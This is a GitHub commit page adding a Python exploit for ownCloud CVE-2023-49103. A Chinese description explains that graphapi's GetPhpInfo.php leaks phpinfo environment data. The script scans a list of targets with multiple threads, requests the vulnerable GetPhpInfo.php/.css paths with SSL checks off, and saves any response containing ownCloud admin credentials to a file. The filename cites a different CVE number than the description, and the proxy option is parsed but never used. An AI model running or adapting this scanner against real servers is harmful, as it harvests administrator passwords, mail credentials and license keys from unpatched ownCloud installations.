Skip to content

Commit c8535de

Browse files
authored
OwnCloud 敏感信息泄漏漏洞CVE-2023-49103
OwnCloud 是一个免费开源的文件共享和协作平台,可让您在自己的控制下创建个人或公司云。OwnCloud 跨平台支持 Windows、Mac、Android、iOS、Linux 等平台,而且还提供了「网页版」以及 WebDAV 形式访问,因此你几乎可以在任何电脑、手机设备上都能轻松获取和访问你的文件文档,从而实现跨平台跨设备文件同步、共享、版本控制、团队协作等功能。 ownCloud owncloud/graphapi 0.2.x在0.2.1之前和0.3.x在0.3.1之前存在漏洞。graphapi应用程序依赖于提供URL的第三方GetPhpInfo.php库。当访问此URL时,会显示PHP环境的配置详细信息(phpinfo)。此信息包括Web服务器的所有环境变量,包括敏感数据,如ownCloud管理员密码、邮件服务器凭据和许可证密钥。@Date:2023-11-28
1 parent 4c8d49c commit c8535de

File tree

1 file changed

+81
-0
lines changed

1 file changed

+81
-0
lines changed

OwnCloud_CVE-2023-49105_Exploit.py

+81
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# 作者: VulnExpo
2+
# 日期: 2023-12-05
3+
import requests
4+
import argparse
5+
import threading
6+
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
7+
8+
def check_phpinfo(url, success_file=None):
9+
try:
10+
response = requests.get(url, verify=False) # Bypass SSL verification
11+
if response.status_code == 200 and 'OWNCLOUD_ADMIN_' in response.text:
12+
return response.text
13+
except Exception as e:
14+
pass
15+
return False
16+
17+
def check_for_vulnerability(url, proxies=None, success_file=None):
18+
try:
19+
url_variant1 = url + "/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css"
20+
url_variant2 = url + "/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css"
21+
22+
response_text = check_phpinfo(url_variant1) or check_phpinfo(url_variant2)
23+
if response_text:
24+
print(f"目标URL: {url} ")
25+
with open(success_file, 'a') as s_file:
26+
s_file.write(f"++++++++++++++++++\n")
27+
s_file.write(f"目标URL: {url}\n")
28+
s_file.write(f"响应内容: {response_text}\n\n")
29+
return True
30+
else:
31+
return False
32+
except Exception as e:
33+
print(f"发生异常:{e}")
34+
return False
35+
36+
def scan_targets(targets, proxies=None, success_file=None):
37+
for target in targets:
38+
target = target.strip()
39+
check_for_vulnerability(target, proxies, success_file)
40+
41+
def multi_threaded_scan(urls, proxies=None, success_file=None, num_threads=4):
42+
threads = []
43+
44+
for i in range(num_threads):
45+
thread = threading.Thread(target=scan_targets, args=(urls[i::num_threads], proxies, success_file))
46+
threads.append(thread)
47+
48+
for thread in threads:
49+
thread.start()
50+
51+
for thread in threads:
52+
thread.join()
53+
54+
if __name__ == '__main__':
55+
parser = argparse.ArgumentParser(description="OwnCloud 敏感信息泄漏漏洞CVE-2023-49103")
56+
parser.add_argument("-u", "--url", help="目标URL")
57+
parser.add_argument("-f", "--file", default="url.txt", help="目标URL列表,默认为url.txt")
58+
parser.add_argument("-t", "--threads", type=int, default=4, help="线程数,默认为4")
59+
parser.add_argument("-p", "--proxy", help="代理服务器地址(例如:http://localhost:8080)")
60+
args = parser.parse_args()
61+
62+
if not args.url and not args.file:
63+
print("请使用 -u 指定要扫描的目标URL或使用默认文件 url.txt。")
64+
exit(1)
65+
66+
if args.url:
67+
urls = [args.url]
68+
elif args.file:
69+
with open(args.file, 'r') as file:
70+
urls = file.readlines()
71+
72+
success_file = 'success_targets.txt'
73+
74+
proxies = {
75+
"http": args.proxy,
76+
"https": args.proxy
77+
} if args.proxy else None
78+
79+
multi_threaded_scan(urls, proxies, success_file, args.threads)
80+
81+
print("扫描完成,成功的目标已保存到 success_targets.txt 文件中。")

0 commit comments

Comments
 (0)